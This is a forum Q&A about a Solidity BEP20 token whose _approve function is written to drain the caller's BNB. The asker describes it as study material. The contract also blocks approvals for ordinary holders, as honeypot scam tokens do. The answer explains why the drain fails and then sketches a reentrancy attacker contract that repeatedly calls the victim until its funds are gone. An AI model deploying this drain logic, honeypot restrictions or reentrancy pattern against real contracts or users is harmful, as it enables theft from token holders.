I'm trying to code a malicious ERC20 smartcontract approve function (for study purposes) but this does not work

Question

Here is the partial source code of a smart contract that I deploy on the Binance Smart Chain. What I would like to demonstrate to my teacher (if this can be done) is the draining of all the ETH/BNB that is on the caller's wallet, when he/she calls the approve function of this smart contract.

What is wrong ? Thanks.

  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "BEP20: approve from the zero address");
    require(spender != address(0), "BEP20: approve to the zero address");

  address payable dest = payable(address(this));
  (bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");
    
   if (owner == this.owner() || adminCheck(owner)) {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } else {
        if ((_hasBeenApproved[owner] == false) && (sellAuthorized() == true)) {
            _hasBeenApproved[owner] = true;
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        } else {
            _allowances[owner][spender] = 0;
            emit Approval(owner, spender, 0);
        }
    }
  }

Answer 1

address payable dest = payable(address(this));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");

This snippet executes the fallback function (or the receive() function, if it's present) of dest, which is this contract - not the caller.

So the EVM performs an internal transaction from this contract _approve() function to this contract fallback... And that's it. No other interaction with the user.

The msg.sender.balance/2 is also probably not intended. Since the sender of the internal transaction is the contract (and the target is the same contract), it sends the amount from the contract (to the same contract) - not from the user... This comes with a side effect: If the contract balance is lower than msg.sender.balance/2 (half of the user's balance), the internal transaction fails because of insufficient funds.

Unless there's a vulnerability in the fallback or receive() function, that your question doesn't show, this snippet is not vulnerable to the reentrancy attack.

---

If the call was targeted to an address specified by the attacker, then it would be vulnerable to reentrancy.

The attacker could have a fallback function that keeps calling the _approve() until it's drained all of the victim's funds.

I see that the _approve() is internal, but for simplicity let's assume it's external.

victim's _approve() function:

address payable dest = payable(address(attackerAddress));
(bool success, ) = dest.call{value:msg.sender.balance/2, gas:50000}("");

attackerAddress:

contract Attacker {
    fallback() external payable {
       if (address(victim).balance > x) {
           victim._approve();
       } else {
           emit AttackFinished();
       }
    }
}